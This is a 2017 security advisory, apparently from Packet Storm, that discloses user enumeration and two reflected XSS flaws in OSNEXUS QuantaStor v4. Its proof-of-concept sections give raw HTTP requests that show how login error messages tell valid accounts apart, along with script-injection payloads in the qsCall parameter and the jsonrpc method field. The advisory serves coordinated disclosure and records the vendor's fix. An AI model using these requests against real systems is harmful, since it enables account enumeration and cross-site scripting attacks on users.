OSNEXUS QuantaStor 4 Information Disclosure

2017-08-14T00:00:00
ID PACKETSTORM:143780
Type packetstorm
Reporter Nahuel Sanchez
Modified 2017-08-14T00:00:00

Description

                                        
                                            `1. --- Advisory details ---  
  
Title: QuantaStor Software Define Storage mmultiple vulnerabilities  
  
Advisory ID: VVVSEC-2017-6943  
  
Advisory URL:   
http://www.vvvsecurity.com/advisories/vvvsecurity-advisory-2017-6943.txt  
  
Date published: 12/08/2017  
  
CVEs:  
CVE-2017-9978 "Brute force login request using http post mechanism   
returns different errors",  
CVE-2017-9979 "Rest call made for methods not implemented in the   
server return a response with the invalid method previously invoked."  
  
CVSS v3.0 score:  
CVE-2017-9978 5.3 MEDIUM   
(CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)  
CVE-2017-9979 6.1 MEDIUM   
(CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)  
  
2. --- Vulnerability details ---  
  
Class:  
CWE-79: Improper Neutralization of Input During Web Page Generation   
('Cross-site Scripting')  
CWE-203: Information Exposure Through Discrepancy  
  
Impact: Information disclosure  
  
Remotely Exploitable: Yes  
Locally Exploitable: No  
  
3. --- Vulnerability Description ---  
  
OSNEXUS QuantaStor [1] Software Define Storage appliance was designed   
to ease the process of storage management.  
From vendor's website "...QuantaStor SDS, deployed in datacenters   
worldwide, addresses a broad set of storage use  
cases including server virtualization, big data, cloud computing, and   
high performance applications  
through scale-out physical and virtual storage appliances..."  
  
Three different vulnerabilities were found in the appliance. A user   
enumeration attack and two unauthenticated XSS.  
These vulnerabilities could allow a remote attacker to obtain valid   
usernames to perform bruteforce attacks and  
obtain sensitive information.  
  
  
4. --- Affected software versions ---  
  
OSNEXUS QuantaStor v4 virtual appliance  
  
5. --- Technical description ---  
  
5.1 --- User enumeration ---  
  
QuantaStor login mechanism returns different messages if the account   
used to perform the login is valid or not in the system.  
Leveraging this difference an attacker could be able to enumerate   
valid accounts.  
  
5.1.1 --- Proof of Concept ---  
  
Executing the following HTTP requests an attacker can perform a login   
request.  
  
"""  
  
POST / HTTP/1.0  
Content-Type: text/xml; charset=utf-8  
Accept: application/soap+xml, application/dime, multipart/related,   
text/*  
User-Agent: Axis/1.4  
Host: localhost:5152  
Cache-Control: no-cache  
Pragma: no-cache  
SOAPAction: ""  
Authorization: Basic <REPLACE WITH BASE64 Encoded credentials>  
Content-Length: 384  
  
  
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope   
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"   
xmlns:xsd="http://www.w3.org/2001/XMLSchema"   
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">  
<soapenv:Body>  
<objectGet   
xmlns="http://quantastor.osnexus.com/webservices/osn.xsd"><reserved   
xmlns="">  
</reserved></auditLogGet></soapenv:Body></soapenv:Envelope>  
  
"""  
  
If the user included in the request is valid, the error returned by   
the application will be:  
  
<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring><fault>Authentication   
check failed for 'admin',  
please verify your password was entered correctly. (10.10.0.1)   
[err=26]  
</fault></faultstring><detail><detail><msg>Authentication check   
failed for 'admin', please verify your password was entered correctly.   
(10.10.0.1)  
[err=26]</msg><loc>service/osn_security_manager.cpp:1298</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>  
  
But if the user doesn't exist in the system, the message will be:  
  
<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring><fault>Authentication   
failed, please  
verify your username, 'TESTUSER' is invalid. (10.10.0.1)   
[err=26]</fault></faultstring><detail><detail><msg>  
Authentication failed, please verify your username, 'TESTUSER' is   
invalid. (10.10.0.1) [err=26]  
</msg><loc>service/osn_security_manager.cpp:1256</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>  
  
5.2 --- Cross Site Scripting in "qsCall" parameter  
  
QuantaStor API accepts parameters through the use of the "qsCall"   
parameter. If the method called  
doesn't exist an error will be triggered containing the invalid method   
previously invoked.  
The response sent to the user isn't sanitized.  
An attacker can leverage this issue including arbitrary HTML or   
JavaScript code in the qsCall parameter.  
  
5.2.2 --- Proof of Concept ---  
  
Execute the following HTTP request.  
  
"""  
https://<HOST>:8153/qstorapi?qsCall=%3Cscript%3Ealert(1)%3C/script%3E  
"""  
  
5.3 --- Cross Site Scripting in "/qstorapi/jsonrpc"  
  
QuantaStor "jsonrpc "API accepts parameters through the use of a JSON   
dictionary. If the method called  
doesn't exist an error will be triggered containing the invalid method   
previously invoked.  
The response sent to the user isn't sanitized.  
An attacker can leverage this issue including arbitrary HTML or   
JavaScript code in the "method" key.  
  
5.3.1 --- Proof of Concept ---  
  
Execute the following HTTP request.  
  
"""  
POST /qstorapi/jsonrpc HTTP/1.0  
  
Accept: application/soap+xml, application/dime, multipart/related,   
text/*  
User-Agent: Axis/1.4  
Host: <HOST>:8153  
Cache-Control: no-cache  
Pragma: no-cache  
Content-Type: application/json  
Content-Length: 54  
  
  
{"method":"<script>alert(1)</script>", "params":"asd"}  
"""  
  
  
6. --- Vendor information ---  
  
OSNEXUS released Quantastor version 4.3.1 fixing CVE-2017-9978   
and CVE-2017-9979  
  
7. --- Credits ---  
  
These vulnerabilities were discovered by Nahuel D. Sanchez, VVVSecurity  
  
8. --- Report timeline ---  
  
25/06/2017 -- VVVSecurity sent Advisory to OSNEXUS  
29/06/2017 -- OSNEXUS confirmed the security vulnerabilities,   
CVE-2017-9978 and CVE-2017-9979 were provided.  
24/07/2017 -- OSNEXUS released QuantaStor version 4.3.1  
12/08/2017 -- Security Advisory published  
  
9. --- References ---  
  
[1] https://www.osnexus.com/software-defined-storage/  
  
10. --- Copyright ---  
  
The contents of this advisory are copyright (c) 2017 VVVSecurity and   
are licensed  
under a Creative Commons Attribution Non-Commercial Share-Alike 4.0  
License: http://creativecommons.org/licenses/by-nc-sa/4.0/   
<http://creativecommons.org/licenses/by-nc-sa/4.0/>  
  
  
`